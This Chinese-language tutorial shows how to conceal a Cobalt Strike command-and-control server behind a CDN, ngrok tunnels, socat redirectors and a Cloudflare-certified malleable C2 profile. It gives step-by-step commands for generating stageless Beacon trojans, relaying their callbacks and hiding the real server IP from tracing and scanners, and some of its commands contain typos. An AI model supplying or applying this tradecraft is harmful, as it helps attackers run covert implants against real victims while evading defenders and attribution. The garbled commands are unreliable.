使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;
最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
目标上线后流量走向

NAME:随便填写
Payload:选择Beacon http
HTTP hosts:写入自己的域名
HTTP host(Stager):写入自己的域名
HTTP Port(C2):写入8880端口,可以访问到的都可以。
HTTP header:写入自己的域名

生成windows无阶段木马。

选择刚刚创建的监听器,勾选USE 64。

双击生成的木马文件Beacon.exe。

目标上线CS。


利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip。
ngrok config add-authtoken +授权令牌

若失败的话可以尝试ngrok authtoken +授权令牌
./ngrok tcp 10088

其中0.tcp.ngrok.io是代理的域名,19493是localhost的10088端口的映射。

name:随便起一个名字
http hosts:设置为代理域名
http host(stager):设置为代理域名
http port:设置为本地映射的端口
http port(bind):设置为本地端口
生成windows无阶段木马。

选择ngrok监听器,生成木马文件后,点击运行,即可上线cs。


使用wireshark捕获流量进行分析,可以看到ip地址已经发生变化。

流量走向情况

在部署Cobalt Strike服务器时,我们可能需要前置代理服务器来帮助我们隐藏真实服务器,又或者是进行流量分离防止扫描或主动式的恶意软件探测服务器,再或者是根据目标的不同将其转发到不同的服务器上。

具体实现:两台vps 一台转发机器,一台teamserver
socat转发
常用选项
lh将主机名添加到日志消息
v详细数据流量,文本
x详细数据流量,十六进制
d增加详细程度(最多使用4次;建议使用2次)
lf <logfile>记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2服务器ip:C2服务器监听Port
解释:将此机器10811端口接受到的流量转发给1.15.132.67:10010。
如果报错没有socat的话
sudo apt-get update
apt install socat

2. 配置监听器


下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去https://dash.cloudflare.com/的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。


复制证书创建txt导入,修改文件名为xxxx.pem
复制私钥创建txt导入,修改文件名为xxxx.key。

将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)。
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
例如:
openssl pkcs12 -export -in www.zsyyme.info.pem -inkey www.zsyyme.info.key -out www.zsyyme.info.p12 -namewww.zsyyme.info -passout pass:123456

keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.zsyyme.innfo.storesrckeystore www.zsyyme.info.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.zsyyme.info

生成的keystore文件将该文件放在云服务器CS的根目录下。

然后将keystore文件名称和密码填入profile文件中。
对4.4版本Profile进行修改。需要修改的内容主要有七处。
一个是https-certificate模块中的keystore和password,修改后把注释去掉。

另外三处为http-stager、http-get、http-post模块中的Host和Referer。带注释的不算

剩余三处为Profile中的响应头配置,其中的header “Content-Type” "application/javascript;修改为:header “Content-Type” "application/*;带注释的不算

在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。如图。

在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。


./teamserver 服务器IP pass jquery-c2.4.4.profile

配置监听器。

选择监听器。

运行生成的木马即可上线CS。
上线后Wireshark捕捉到get数据包分析IP。